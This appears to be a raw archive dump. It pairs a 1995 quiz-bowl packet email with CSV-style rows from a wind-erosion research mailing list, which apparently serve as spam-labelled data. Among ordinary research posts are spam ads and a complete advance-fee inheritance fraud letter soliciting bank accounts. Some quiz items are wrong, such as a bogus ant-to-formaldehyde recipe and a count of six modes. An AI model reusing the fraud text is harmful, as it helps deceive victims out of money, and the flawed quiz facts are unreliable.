[18.87.0.8]) by orion.sas.upenn.edu (8.6.11/SAS 8.03) with ESMTP id MAA25237 for ; Wed, 2 Aug 1995 12:49:58 -0400 Received: from riesz.mit.edu (RIESZ.MIT.EDU [18.87.0.66]) by math.mit.edu (8.6.12/8.6.9) with ESMTP id MAA01658 for ; Wed, 2 Aug 1995 12:49:56 -0400 Received: (from petermc@localhost) by riesz.mit.edu (8.6.12/8.6.9) id MAA11618 for steiming@sas.upenn.edu; Wed, 2 Aug 1995 12:49:55 -0400 Posted-Date: Wed, 2 Aug 1995 12:49:58 -0400 Received-Date: Wed, 2 Aug 1995 12:49:58 -0400 Date: Wed, 2 Aug 1995 12:49:55 -0400 From: Peter McCorquodale Message-Id: <199508021649.MAA11618@riesz.mit.edu> To: steiming@sas.upenn.edu Subject: Dingoes questions Content-Type: text Content-Length: 21060 Sender: steiming@sas.upenn.edu Status: RO TOSSUPS ------- TOSSUP 1 He has more citations than any other living person in the scholarly literature in the humanities. Ironically, since 1956 this Penn alumnus has been teaching at a university that grants no more than a dozen bachelor's degrees in the humanities each year. FTP identify this MIT professor whose 1957 book _Syntactic Structures_ has revolutionized the study of language. Answer: Avram Noam _CHOMSKY_ TOSSUP 2 This news magazine has resumed publishing after an unprecedented court ruling against the legality of its closure by the Suharto regime. Modeled after TIME, it is the highest-circulation news weekly in Indonesia. FTP identify this news magazine, whose name means ""time"" in Indonesian. Hint: the Indonesian word for ""time"" is borrowed from Portuguese and is also the same word in Italian. Answer: _TEMPO_ TOSSUP 3 He was born in Virginia in 1790, the namesake of his father, who was governor of that state from 1808 to 1811. He became governor himself in 1825, and later served in the U.S. Senate. Elected vice president, he took over from William Henry Harrison as president in 1841. FTP name this ""accidental"" president. Answer: John _TYLER_ TOSSUP 4 It was founded by Richard Huelsenbeck, Hugo Ball, Hans Arp and Tristan Tzara in Zurich in 1916. The name is French for ""hobby horse"" and was chosen by inserting a knife at random into a dictionary. FTP identify this nihilistic literary and artistic movement. Answer: _DADA_ (accept _DADAISM_) TOSSUP 5 The student council of a New Jersey high school invented this game for the benefit of those who could not, or would not, make the football team. Twenty- seven years later, it has become one of the fastest growing sports in the world. FTP name this frisbee game. Answer: Frisbee _ULTIMATE_ TOSSUP 6 His original name was Mirza Husayn Ali Nuri. One of the first disciples of the Shi`ite sect known as the Babists, in 1863 he declared himself to be the Promised One expected by the Babists. He wrote the Kitabi Ikan, the Book of Certitude, after being exiled from Persia. FTP name this founder of Baha'ism. Answer: _BAHA ULLAH_ (accept _BAHA ALLAH_) TOSSUP 7 First and last name are the same, and both are required. The first black woman to be granted a Ph.D. from MIT, who was appointed chair of the Nuclear Regulatory Commission this year; and an American novelist and short story writer known for _Hangasman_, _The Haunting of Hill House_, and ""The Lottery"". FTP give the common name. Answer: _SHIRLEY JACKSON_ TOSSUP 8 In German, it refers to a type of grape juice. In Russian and other Slavic languages, it's a bridge. In Maryland, it's a bank machine. FTP give the common superlative four-letter word. Answer: _MOST_ TOSSUP 9 ""Awakening of Cheerful Feelings upon Arriving in the Country"" ""Scene by the Brook"". ""Merry Gathering of Country People"". ""Thunderstorm"". ""Shepherds' Song: Happy and Thankful Feelings after the Storm"". These are the names given to the five movements of, FTP, which symphony by Ludwig van Beethoven? Answer: Symphony Number _SIX_, in F major (also accept _PASTORAL_ Symphony) TOSSUP 10 The southern branch is formed by the confluence of the Oldman River and the Bow [""bo""] River. The northern branch begins near Mount Kitchener and joins with the southern branch near Prince Albert. The river drains into Cedar Lake and from there into Lake Winnipeg. FTP identify this major source of water for the Canadian prairies, which gave its name to a province in 1905. Answer: _SASKATCHEWAN_ River TOSSUP 11 This element was discovered in 1947 by Marinsky and colleagues, who isolated a radioactive isotope of it from uranium fission products. With atomic number 61, it was the last rare-earth element to be discovered, and it is the only rare-earth metal of the lanthanide series that has not been detected in nature. FTP identify this element whose isotope of weight 147 is used in spacecraft batteries, and which is named after the Titan who stole fire from the gods. Answer: _PROMETHIUM_ TOSSUP 12 ""Bad Girls"", ""Poison Ivy"", ""Gun Shy"", ""Boys on the Side"" and ""Mad Love"" are just some of the movies made in the past few years by FTP, what controversal actress who comes from one of the most famous families in theatre and movies and was first made famous portraying ""ET""'s friend Gertie? Answer: Drew _BARRYMORE_ TOSSUP 13 FAQTP identify the town of about fifty thousand people that lies on the Susquehanna River about 115 miles from where we sit, and is capital of the state we are now in. Answer: _HARRISBURG_ TOSSUP 14 The originator of this two-word term defined it as the ultimate goal of the tree of life, ""the end and the fulfillment of the spirit of the Earth"". From the Jesuit paleontologist Pierre Teilhard de Chardin, the physicist Frank Tipler has revived the term in his recent book _The Physics of Immortality_, to describe a future time when all things that have ever lived will be resurrected. FTP identify this term named after a Greek letter. Answer: _OMEGA POINT_ TOSSUP 15 They belong to the family Meropidae. These birds of tropical and subtropical Eurasia, Africa and Australasia have brilliant, mostly green feathers and moderately long, sharply pointed bills. FTP name these birds that feed on insects and take their name from one of their favorite foods. Answer: _BEE EATER_s TOSSUP 16 ""Snowden"", ""General Dreedle"", ""The Cellar"", ""Natley's Old Man"", ""Milo the Mayor"", ""The Soldier Who Saw Everything Twice"" - these are all chapter titles, FTP, from what 1961 novel named after a no-win situation? Answer: _CATCH-22_ TOSSUP 17 It strictly means a venerable man of more than 50 years. This title is especially borne by headmen of villages, chiefs of tribes, and heads of Muslim religious orders. FTP name this Arabic title of respect that has also been applied to a to a strong, romantic lover, from a novel by E.M. Hull with a cinematic adaptation starring Rudolph Valentino. Answer: _SHEIK_ TOSSUP 18 Invented in 1930, this instrument uses two radio-frequency oscillators: a fixed oscillator inside the unit and a variable oscillator which is detuned by the player waving his hand near an antenna. What you hear is the difference between the two. FTP, name this musical instrument that has been used mostly for sound effects in monster movies, but can also be heard on such Beach Boy tunes as ""Pet Sounds"" and ""Good Vibrations"". Answer: _THEREMIN_ (Also accept: _THEREMINVOX_, or _ETHEROPHONE_) TOSSUP 19 His latest contribution to literature, entitled _The Village, the Village, the Earth, the Earth, and the Astronaut's Suicide_, is a collection of essays and mostly satirical stories dealing with such topics as the nature of tyranny, and Islamic disunity. It remains to be seen whether this work will sell as well as his rambling two-volume _Green Book_, which is required reading for all schoolchildren in his native country. FTP name this radical Arab leader who seized power from King Idris in 1969. Answer: Moammar _GADHAFI_ TOSSUP 20 ""Once when I was six years old I saw a magnificent picture in a book, called _True Stories from Nature_, about the primeval forest. It was a picture of a boa constrictor in the act of swallowing an animal."" So begins, FTP, what story by the French pilot Antoine de Saint-Exupery? Answer: The _LITTLE PRINCE_ (accept Le _PETIT PRINCE_) TOSSUP 21 When the long extensions of specialized epidermal cells are agitated, the movement will trigger cellular changes at the leaf midrib, the lobes of the leaf will close, and the spines fringing the leaf margins intermesh to form a cage. FTP name the carnivorous plant. Answer: _VENUS FLY-TRAP_ TOSSUP 22 They are found around the world in latitudes that generally between the southern tip of Florida and mid-Australia. FTP name these living shallow-water ecosystems that obtain color from algae and then expel the algae and bleach when warm water comes their way. Answer: _CORAL_ reefs TOSSUP 23 At 14, he entered a ministry that was to last for three years. After trying to support himself in America, he went to Paris where he wrote some of his best works. FTP name this African-American author, essayist and playwright who wrote _Go Tell it on the Mountain_. Answer: James _BALDWIN_ TOSSUP 24 It is one of the five events in the modern pentathlon, and it is the only style of fencing in which the entire body is a target. FTP name this French weapon and sport of the same name. Answer: _EPEE_ TOSSUP 25 Collect several grams of ants. Place in alembic, distill at high flame and collect effluent. Add hydrocarbon and a little lithium salt. Heat. Decant. Identify, FTP, this toxic but highly preservative compound. Answer: _FORMALDEHYDE_ BONUSES ------- BONUS 1 (30) 30-20-10, identify the community. 30: A baseball team from here represented the U.S. in the Little League World Series last year. It lost to a team from Venezuela in the finals. 20: It is home to one of the largest campuses of the California State University, second in size only to the one at Long Beach. 10: This neighborhood of Los Angeles was at the epicenter of a major earthquake on January 17, 1994. Answer: _NORTHRIDGE_, Los Angeles, California BONUS 2 (30) For ten points apiece, answer the following questions about the first Jews in North America. A. The very first two are believed to be Jacob Barsimson and Solomon Petersen. FTP, in what colonial port city did they arrive? Answer: _NEW AMSTERDAM_, New Netherland (Do NOT accept New York.) B. Barsimson and Petersen had only been in New Amsterdam for a few months when a group of 23 Jewish refugees arrived there by ship. FTP, what colony outside North America were they fleeing? Answer: _BRAZIL_ (Also accept _RECIFE_ or _BAHIA_) (Do NOT accept Surinam.) C. For 10 points for the exact year or for 5 points within five, in what year did all of the previously mentioned people arrive in New Amsterdam? Answer: _1654_ (Give 5 points for any year in 1649-1653, 1655-1659) BONUS 3 (30) It took only one ballot for the International Olympic Committee to choose Salt Lake City over three rival sites for the 2002 Winter Olympics. A. First, for 5 points apiece, name the three other _countries_ with Olympic sites on the ballot. Answers: _SWEDEN_ _SWITZERLAND_ _CANADA_ (accept _QUEBEC_ as alternative from smart-alecs) B. Now for 5 points apiece, name the three towns that lost out on this ballot. One is in Sweden, one in Switzerland, and one in Canada. If it's any help, none of them has hosted a Winter Olympics before. Answers: _OESTERSUND_ _SION_ _QUEBEC_ City BONUS 4 (25) In addition to his contributions to the study of human language, Noam Chomsky also did some early work in the theory of formal languages, and the Chomsky hierarchy is named after him. For a maximum of 25 points, arrange the following five classes of formal languages from most restrictive to most general. In alphabetical order, the classes are: Context-Free (C.F.), Context-Sensitive (C.S.), Recursive, Recursively Enumerable (R.E.), and Regular. Now order them from the smallest class to the largest. Answers: _REGULAR_ language _C.F._L. or _CONTEXT-FREE_ language _C.S._L. or _CONTEXT-SENSITIVE_ language _RECURSIVE_ language _R.E._ or _RECURSIVELY ENUMERABLE_ language BONUS 5 (30) For ten points each, name the famous father-in-law of each of the following men. A. Richard Wagner Answer: Franz (or Ferenc) _LISZT_ B. Charlie Chaplin, the third time Answer: Eugene _O'NEILL_ C. Arnold Schwarzenegger Answer: _SARGENT SHRIVER_ BONUS 6 (30) Identify each of the following towns in Zaire, for 10 points apiece. A. Earlier this year, this southwestern city experienced a well- publicized outbreak of the Ebola virus. Answer: _KIKWIT_ B. Beginning last year, this small town on the northern shore of Lake Kivu became a reluctant host to approximately one to two million refugees crossing the border from Rwanda. Answer: _GOMA_ (Do NOT accept Bukavu, which is on the southern shore) C. The third-largest city in Africa, it's the capital of Zaire. Answer: _KINSHASA_ BONUS 7 (30) 30-20-10 Identify the author from the works. 30: Shampoo Planet 20: Life After God 10: MicroSerfs, Generation X Answer: Douglas _COUPLAND_ BONUS 8 (30) It's the attack of the summer movies. Have you been paying attention to the previews? For the stated number of points, answer the following questions about some upcoming attractions. A. Just when you thought you were free from Jim Carrey, he's back.... with his wacky pet detective character. For 5 points, name the upcoming flick. Answer: _ACE VENTURA II: WHEN NATURE CALLS_ B. A compassionate ex-Marine leaves behind 10 years in the service to become an inner city high school teacher. For 10 points, name this movie, starring Michelle Pfeiffer, based on a book called ""My Posse Don't Do Homework"" Answer: _DANGEROUS MINDS_ C. You may have thought it was ""Return of Priscilla, Queen of the Desert"", but no, it's a new movie starring everyone's favorite cross-dressers Wesley Snipes, Patrick Swayze and John Leguizmo. For 15 Points give the full title of this movie. Answer: _TO WONG FOO, THANKS FOR EVERYTHING, JULIE NEWMAR_ (do not accept a shorter answer) BONUS 9 (25) Born in 1852, in Peabody, Mass., this mathematician joined Thomas Edison at Edison's laboratory in Menlo Park, N.J, in 1878. There he worked out mathematical problems arising during the development of such devices as the incandescent lamp, the watt-hour meter, and large dynamos. He was a partner and general manager of the Edison Lamp Works. For 30 points, name this man who also helped Edison publicize his inventions by writing articles for such _Scribner's Monthly_ and _Scientific American_. Answer: Francis Robbins _UPTON_ BONUS 10 (25) 25-10, identify the religion from its practices. 25: Dead bodies are not cremated or buried, but instead are exposed to the elements in so-called Towers of Silence where they are devoured by vultures. 10: The main ceremony, the Yasna, is a sacrifice of the sacred haoma liquor before the sacred fire, accompanied by recitations from the Avesta. Answer: _ZOROASTRIAN_ism, or _PARSI_ism BONUS 11 (30) For ten points apiece, answer the following questions from the final round of the U.S. National Geography Bee. A. This 50-mile-wide strait separates the islands of Cuba and Hispaniola. Answer: _WINDWARD PASSAGE_ Moderator: Neither of the two finalists knew it. B. This ocean current brings cold water to the southwest coast of Africa. Answer: _BENGUELA_ Current Moderator: Both finalists got this one. C. Finally, the question that decided the winner: This central Asian country's two official languages are Dari and Pashto. Answer: _AFGHANISTAN_ BONUS 12 (30) Everyone knows that the patron goddess of Athens was Athena.. For ten points apiece, name the Olympian deity who was patron of each of the following other ancient Greek cities. A. Ephesus Answer: _ARTEMIS_ (Do not accept Diana) B. Sparta Answer: _APOLLO_ C. Corinth Answer: _APHRODITE_ BONUS 13 (30) The recent Halifax summit meeting of the Group of Seven leaders of the big industrial powers was described by some ignorant reporters as a meeting of heads of state. In fact, Bill Clinton and Jacques Chirac were the only two heads of state present, and the host country's Queen Elizabeth did not attend. FTP apiece, name the three other G-7 heads of state who were NOT at the summit. Answers: Emperor _AKIHITO_ of Japan President Roman _HERZOG_ of Germany President Oscar Luigi _SCALFARO_ of Italy BONUS 14 (25) For the past three years, advertising expenditures in the United States have been led by two major consumer-products conglomerates whose names begin with the same letter. For 5 points apiece, and 5 additional points for getting both in correct order, name America's biggest and second-biggest advertisers. Answers: _PROCTER & GAMBLE_ Company _PHILIP MORRIS_ Companies, Incorporated For 5 points, spell the names Procter and Gamble from the biggest advertiser's name. Answers: _P_R_O_C_T_E_R_, _G_A_M_B_L_E_ For 5 points, spell Philip Morris, the name of the second-biggest advertiser. Answer: _P_H_I_L_I_P_ _M_O_R_R_I_S_ BONUS 15 (20) FTP each identify the microeconomic term from a brief description. A. This term refers to a type of good, other than a luxury item, that a consumer will buy more of as his real income increases. Answer: _NORMAL_ good B. This term refers to a type of good that a consumer will buy less of as his real income increases. Answer: _INFERIOR_ good BONUS 16 (30) FTP apiece, given the star, name the constellation in which it is located. A. Deneb Answer: _CYGNUS_ B. Arcturus Answer: _BOOTES_ C. Regulus Answer: _LEO_ BONUS 17 (30) 30-20-10, name the guy. 30: In 1967, President Johnson appointed him as Deputy Attorney- General of the United States. 20: He was the chief U.S. negotiator for the release of the embassy hostages in Iran in 1981. 10: He is currently 4th in line in the presidential succession. Answer: Warren _CHRISTOPHER_ BONUS 18 (30) FTP apiece answer the following questions about the Ottoman era in the Balkans. A. This field in southern Serbia was the site of one of the largest battles ever fought in the Balkans. Following this battle in 1389, both Serbia and Bulgaria fell under Turkish rule for 500 years. Answer: _KOSOVO_ Field (or _KOSOVO_ Pole, or the Field of _BLACKBIRD_s) B. This elite corps was originally recruited from adolescent Balkan Christians who were taken to Constantinople to become the personal slaves of the Sultan. Later, their membership became largely hereditary and they were the most powerful class in the Empire until Mahmud II massacred them in their barracks in 1826. Answer: _JANISSARIES_ (accept _YENICHERI_) C. To add insult to injury, under Ottoman rule, Balkan Christians were not permitted to wear this color. Answer: _GREEN_ BONUS 19 (30) FTP apiece, identify each European city from the names of its railway stations. A. Gare Centrale, Gare du Nord, Gare du Midi, Gare du Quartier Leopold Answer: _BRUSSELS_, Belgium B. Hlavni Nadrazi, Smichov [""SMEE-koff""], Holesovice [""HO-leh-so- veet-seh""], Masarykovo Answer: _PRAGUE_, Czech Republic C. Mitte, Franz-Josefs-Bahnhof, Westbahnhof, Sudbahnhof Answer: _VIENNA_, Austria BONUS 20 (30) Identify each pair of literary lovers for ten points apiece. A. He travels through the Inferno and Purgatory searching for her; she guides his way through Paradise. Answer: _DANTE_ and _BEATRICE_ B. He shows up at her North African doorstep a refugee from Troy. She falls for him, but the gods call him to Italy, so he abandons her. She throws herself on a burning pyre. The end. Answer: _DIDO_ and _AENEAS_ C. When her father learns of their affair, the enraged patriarch castrates him. Both rather embarrassed, they part and become servants of God. For the rest of their lives, however, they correspond passionately. Answer: Peter _ABELARD_ and _HELOISE_ BONUS 21 (30) In music, there are six ways to construct a scale. These are often called the authentic modes. For 5 points each, name the six modes of scale that are currently used. Answers: _AEOLIAN_, _DORIAN_, _IONIAN_, _LYDIAN_, _MIXOLYDIAN_, _PHRYGIAN_. BONUS 22 (30) FTP each identify these units in the English system expressed in terms of other English units. A. 550 foot-pounds per second Answer: 1 _HORSEPOWER_ B. 14 pounds Answer: 1 _STONE_ C. 8 furlongs Answer: 1 statute _MILE_ BONUS 23 (30) FTP apiece identify these famous sociologists. A. He coined the term ""sociology"" in 1838. Answer: Auguste _COMTE_ B. His works include _The Rules of Sociological Method_, published in 1895, and a landmark study on suicide published in 1897. Answer: Emile _DURKHEIM_ C. He related Calvinist ideals to the rise of capitalism in his famous work, _The Protestant Ethic and the Spirit of Capitalism_. Answer: Max _WEBER_ BONUS 24 (30) FTP apiece, identify each author from her novels. A. _Shirley_, _The Professor, _Jane Eyre_ Answer: _CHARLOTTE BRONTE_ (or _CURRER BELL_) B. _Agnes Grey_, _The Tenant of Wildfell Hall_ Answer: _ANNE BRONTE_ (or _ACTON BELL_) C. _Wuthering Heights_ Answer: _EMILY BRONTE_ (or _ELLIS BELL_) BONUS 25 (30) Give the name of each trio from Greek mythology, for the stated number of points. A. For 5 points: Clotho, Lachesis, Atropos Answer: the _FATES_ B. For 10 points: Aglaia, Euphrosyne, Thalia Answer: the _GRACES_ C. For 15 points: Leucosia, Ligea, Parthenope Answer: the _SIRENS_",0,0 Ian Livingstone ,Multiple recipients of list ,"Thu, 31 Aug 1995 08:11:34 -0500",join,"Jeff Can you add my name to the Wind Erosion mailing list, please. You have details for me on the Geomorphlist. Let me know if you need any other info. Thanks. Ian *************************************************** * Dr Ian Livingstone * * * * School of Environmental Science * * Nene College of Higher Education * * Northampton, NN2 7AL, UK. * * * * tel: +44 (0) 1604 735500 * * fax: +44 (0) 1604 720636 * * email: ian.livingstone@nene.ac.uk * *************************************************** ",0,0 """J.E. Bullard"" ",Multiple recipients of list ,"Thu, 31 Aug 1995 08:26:28 -0500",Re: join," Ian, You have just sent me a request to join the wind erosion list! I don't know whether it went to everyone on the list or just to me but I think you must have replied to the wrong person. Just thought I'd let you know! Jo ",0,0 Simon Howell ,gay@zingg.weru.ksu.edu,"Fri, 01 Sep 1995 19:20:39 -0100",[re:] Financial Market Trader Picker,"Just out. We have not found one this good in months. Our gift. We have already seen good growth. This is without the current makreting campaign. This will put iy over the top. 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I am 21 years old lady now, i was born on the 1 of january 1 1985 the family of gbagbo.and my father name is Johnson he is a very wealthy gold and cocoa merchant who based in ACCRA and ABIDJAN respectively, and my mothers name is Sheila.and I am there only child.well when i was a kid i went to a private schools and things were going on well for me and my parents till when i was in high school when my mother died on the 21ST october 1994 , My father took me so special because i am motherless. and he shower all his love on me and promised me that he will never have another woman because he did not want me for any problem.but Since my father dead last year i fine it had to live in Abijan because of some of his business partner that wsa after my life that was why i fund my way to senegal and before the death of my father on the 12th December 2004 in a private hospital in Abidjan. He called me secretly to his bed side and told me that he kept a sumof $10.500 000 (ten million five hundred thousand united states dollars) in a bank in Senegal mean while that he used my name as the beneficiary of the deposited fund.He also explained to me that it was because of this money he was poisoned by his business partner and that i should seek for foreign partner in a country of my choice where i would transfer this money and use it for investment purpose, such as;real estate investment or stock market investment.And rigth now i am in senegal to secure my life. Plesae, i am honourably soliciting your kind assistance as follows. 1) To provide a bank account where this money will be transfered into. 2) To serve as the guardian of these fund ,since i am 22years old. 3)To make arrangement for me in your country to continue my educational career and to procure me a residential permit in your country. I am inclined to offer you 15% of the total sum as a mode of compensation for your effort after the successful transfering of these fund to your nominated account overseas.Please i will be very happy if this transaction will be concluded with in seven (7) working days from now. I am expecting to hear from you as soon as possible. May Almighty God bless you as you do care for me Amen. Best regard Vivan Gbagbo ",1,0 Ted Zobeck ,Multiple recipients of list ,"Fri, 08 Sep 1995 08:56:48 -0500",Re: Measuring PM-10,"Hello wind_erosion list members! I am interested in measuring PM-10 particles in the field and lab. We currently are using the mini-vol sampler but would like to test other instruments as well. We would like to use a sample that I can mount on a tower. Do any of you have other instrument to suggest? Please respond to the list at wind_erosion@unicorn.acs.ttu.edu Thank you for your help. Ted Zobeck ",0,0 Ted Zobeck ,Multiple recipients of list ,"Fri, 08 Sep 1995 16:05:40 -0500",Re: Wind Erosion Research,"Hello again wind erosion list members! The wind erosion list has about 100 members but seems very quiet. I hope everyone is receiving the messages. I realize many of the members are not actively involved in wind erosion research but are still interested in what may be happening in the wind erosion research area. But who is now actively involved in wind erosion-related research and what are the research areas? Does anyone have a home page describing their work? I am Dr. Ted Zobeck, a soil scientist with the USDA, Agricultural Research Service in Lubbock, Texas. Our research unit has a home page under construction at http://lbk131.ars.usda.gov/weru/weru.html. We will be adding many new things to the page in the future. My general research assignment is to improve our understanding of the effect of soil properties on wind erosion. Specifically, this research includes the (1) development of an understanding of the relation of wind- induced soil movement and its impact on PM-10 (dust) generation and transport, nutrient movement and soil productivity; (2) development of models describing changes in near-surface bulk density; aggregate size distribution, density, and stability; and surface microrelief as influenced by cropping, tillage and climatic variables; and (3) development of models describing surface crust thickness, density, stability, and the amount of loose erodible material on the crust as influenced by rainfall and soil properties. I would welcome others to share their interests and/or current projects. It will only take a minute and may generate some interesting dialog. Cheers, Ted ",0,1 SHERMAN@VM.USC.EDU,Multiple recipients of list ,"Tue, 12 Sep 1995 10:40:01 -0500",Re: Wind Erosion Research,"Dear Ted, I am here and ""listening"". Please note a change of my e-mail address new address is sherman@usc.edu. Thanks, Doug ",0,0 DAVID E JAMES ,Multiple recipients of list ,"Tue, 12 Sep 1995 15:31:00 -0500",Re: Wind Erosion Research ,"Hi Ted, Thanks for your note about the wind erosion list. Here's a summary about UNLV's wind erosion work. UNLV is working on a project funded by the Clark County Health District to build and use a portable wind tunnel (6"" x 6"" cross section) to study emission rates from disturbed and undisturbed soils in the Las Vegas Valley, which is a serious non-attainment area for PM-10. The summer field work is completed, and we are now working up the data to develop emission factors as a function of wind speed. The results may be incorporated into a State Implementation Plan (SIP) for PM-10 that will be submitted late this year. Hope this helps, Dave James Department of Civil and Environmental Engineering University of Nevada, Las Vegas ",0,0 Bart Conley ,melissa@zingg.weru.ksu.edu,"Wed, 13 Sep 1995 10:40:48 +0600",You didnt answer,"-Sensattional revolution in medicine! -Enlarge your penis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be i`mpressed with results! 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The problem is such that the sediments form drifts (dunes) from a few inches to several feet deep along field borders, road ditches, drainage ditches, on roads and in urban areas on streets , driveways, lawns and anywhere else that sediments are deposited. Along with the sand-sized sediments, substantial amounts of PM-10 type material is also suspended in the air. I have focused my work on the impacts of the dune sediments on water quality and nutrient transport offsite form the sediment source. Some of the work I have done includes: 1. Characterization of the sediments physically and chemically, 2. Examination of the morphology of the sediment grains using electron microscopy, 3. Nitrogen mineralization studies on the sediments in a laboratory setting, 4. Monitoring of changes in nitrate status in dunes underr field conditions, 5. 15N tagging of nitrate to determine leaching potential of the nitrate to the shallow water table (0.5 to 2 m depth), 6. cursory examination of sediments for pesticides, and 7. Examination of the variability of nutrients within a dune system. I have a student that is currently finishing up a project on 15N tagging and nitrate leaching in a dune system with a shallow water table (0.5 to 1 m deep). Some of the work I am interested in includes trying to identify the distance of transport of these dune sediments in order to develop soil management strategies to reduce the movement of the sedimemts our of the field. I have not addressed the issue of PM-10, but it is definitely a serious problem that we see. If I can be of further help, please let me know. Adios, Larry Cihacek Soil Science Department North Dakota State University P.O. Box 5638 Fargo, ND 58105 701-231-8572 ",0,0 pfredette@ids.net,dank@alumni.caltech.edu,"Thu, 14 Sep 1995 11:52:28 -0700",Info on BONDING protocol,"Dear Dan: Ref: ""Info on the BONDING protocol"" in ""About ISDN"" on your WWW page. Let me introduce myself as the current Chairman of the BONDING Technical Committee. Mr. H. Sharp who supplied the files on BONDING was the previous chairman. I am also Chief Technical Officer of Promptus Communications, Inc. of Portsmouth RI which can be found in your existing ISDN page references. Thank you for maintaining the page. I would like to point out that while the note on RFC 1618 is technically correct, the RFC was written in 1994 and no subsequent action was referred to the BONDING consortium for debate. Since that time, BONDING has in fact become the defacto worldwide standard for channel aggregation in video conferencing using ISDN and is currently an ISO document (ISO IEC 13871). It is also heavily used for interconnection of routers and/or backup of dedicated inter-router links. As channel aggregation methodology is likely to be a lively topic based on other recent RFCs like 1717, I would hope that you might append this information on your ISDN page and help include the Bonding Consortium in future discussion on the Internet. An additional note that I think would be of interest to your readers. The September 26, 1995 issue of the Network Edition of PC magazine (Page NE12 on ""Working Together Using ISDN"" ) referred to BONDING as ""an important control protocol in ISDN channel aggregation"" and then without explanation of BONDING or its advantages, chose to editorialize by adding ""Fortunately, a standard is beginning to emerge: IETF's RFC 1717..."" . How fortunate this is remains to be seen. Emerging things can have problems. Comments welcome. Some of RFC1618 comments on BONDING are dealt with in another ITU standard H.244 which defines simple extensions to the BONDING method. BONDING was created to provide an open standard (no license required) for aggregation and in fact has done so due to the diligent efforts of a number of individuals and companies around the world. My Email address is: pfredette@ins.net and I would appreciate receiving commentary on the subject . ",0,0 Christopher Trevino ,stacy@zingg.weru.ksu.edu,"Fri, 15 Sep 1995 02:14:25 +0600",Fwd: More,"-S'ensationall revoolution in m'edicine! -E'n'l'a'r'g'e your p''enis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be impressed with results! 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Other important crops are birdseed millet, cucumbers, malting barley, carrots, mint, strawberries, field corn, and soybeans. Many people are surprised that Wisconsin has a wind erosion problem. As the Wisconsin Magazine of History reported (The Wisconsin Dust Bowl, Spring 1990, p. 175-176) using quotes from the Stevens Point Journal, May 10, 1934 . . . To Central Wisconsin the storm brought plumes of dust that sliced through the stems of young corn and potatoes like a new scythe. It buried stubby alfalfa beneath soil that may have blown from across the continent or from the next county. It undermined oats and beans, flung them into a roadside ditch, or lifted them all the way to the Atlantic. ""You should have seen the dust,"" said Adams County farmer George Romell. ""It buried the fence row like snow."" ""Peas, soybeans, oats -- it just whipped them."" recalled Ted Jensen of Buena Vista in Portage County. ""We had sand up to here,"" he said, bending to point at his knees. Florence Isherwood of Plover looked out of her farmhouse window and couldn't see the barn fifty yards away. Her husband Raymond did no farm work that day but sat with the family behind windows and doors tightly shut to keep out the dust."" The problem persists today. The project was developed under the auspices of the Golden Sands Resource Conservation and Development Area and the Land Conservation Committees in the five counties. It is funded by the Wisconsin Department of Agriculture, Trade and Consumer Protection and brings together resources from the University of Wisconsin and the private Wisconsin Potato and Vegetable Growers Association. The project was initiated in 1990 and will end this December. Project activities include: 1. Conservation Tillage Demonstrations. These on-farm demonstrations are designed to encourage growers to develop their own conservation tillage systems and test them side-by-side with their traditional system. Project staff follow the on-farm plots, checking for differences between conventional and analyzing each system for wind erosion control, productivity, and profitability. There have been about 50 plots so far on potatoes, snap beans, peas, sweet corn, and millet. The results are published each year and sent to all growers and processors in the region. We are working on a cumulative summary. 2. Conservation Credit. A $5.00/acre/year property tax credit is provided to those landowners who implement wind erosion control practices outlined for the Project. Conservation Credit activity takes place in three target townships. It has been very successful with participation growing each year. However, this sort of credit program is not popular politically given the tight budgets we have today. 3. Information and Education. Numerous activities include Conservation Tillage Field Days, Windbreak Establishment Field Days, brochures and booklets, articles in industry publications, one-on-one and small group meetings, various conferences on special topics (i.e. Windbreak Technology Conference and Windbreaks, Roads, and Utilities Conference), presentations and tours to special groups in the region and throughout North America. 4. Research a. Identified and described missing technical information that growers and technical people noted were barriers to wind erosion control. Tried to find researchers and financial resources to address these issues. b. Residue Measurement including number of samples needed per field and standing residue measurement (Bubenzer, UW-Madison, & Johnson, UW-Stevens Point) c. Cover Crops including specie selection and establishment dates (Bubenzer, UW-Madison) d. Windbreak Inventory & Design (David, Brush, Rhyner, & Greil, UW-Stevens Point) including multispecies windbreaks e. Wind Erosion Prediction System Validation Site (Hurley, Bubenzer, UW-Madison, USDA Agricultural Research Service) establishment and maintenance f. Windbreak Establishment Research (Klish, Adams County Land Conservation Department) g. Wind Erosion Impacts on Water Quality (Oberhofer and Shaw, UW-Stevens Point) The project is staffed by two full-time people, two student interns and 1-3 Limited Term Employees each year. Eric G. Hurley (that's me), Wind Erosion Control Specialist, is the project manager and runs the conservation tillage work. George Greil, Wind Erosion Control Planner, runs the conservation credit program and specializes in the windbreaks. We are putting together a ""Wind Erosion Control in Wisconsin"" handbook of wind erosion technology. We will also be putting on a two-day conference late this winter covering all the ideas developed over the last six years of the project. Funding for next year is insecure. We are attempting to put together funds from state, local, and private sources. Contact person is Eric G. Hurley, Wind Erosion Control Specialist, Golden Sands RC&D, 1516 Church Street, Stevens Point, WI 54481. Tel. 715/346-1334. ",0,0 Ted Zobeck ,Multiple recipients of list ,"Tue, 19 Sep 1995 13:05:45 -0500",Re: Candian Aeolian Meeting,"I recently received the following message from the Geomorph Discussion list and thought you might be interested:. Ted Zobeck *********************************************** from Steve Wolfe... The CANADIAN GEOMORPHOLOGY RESEARCH GROUP is sponsoring two special sessions in conjunction with the CANADIAN ASSOCIATION OF GEOGRAPHERS (CAG) 1996 Annual Meeting in Saskatoon, May 11-16. GLOBAL CHANGE IN THE PALLISER TRIANGLE: LESSONS FROM THE PAST TO PREPARE FOR AN UNCERTAIN FUTURE An applied perspective to geomorphic research examining the physical impacts of climate change in the southern Canadian prairies. GCM predictions of increased warming and decreased precipitation over the northern Great Plains give rise to concerns about the viability of sustainable agriculture in the region. Presentations will include new Holocene paleoclimatic records as well as studies of geomorphic processes, geomorphic response to climatic variability, and GIS evaluation of landscape sensitivity for land use management issues. The session represents the final meeting of the Geological Survey of Canada coordinated Palliser Triangle IRMA, but encourages contributions from persons not formally associated with that project. AEOLIAN SESSION Aeolian research is a growing field in Canada and abroad, with issues related to global change and sustainable activities providing an increasingly applied backdrop for this research. Much of this research focusses on processes, dealing with the common issues such as mechanisms limiting sediment supply (including moisture, vegetation, fire, crusting, ice or snow) and how these 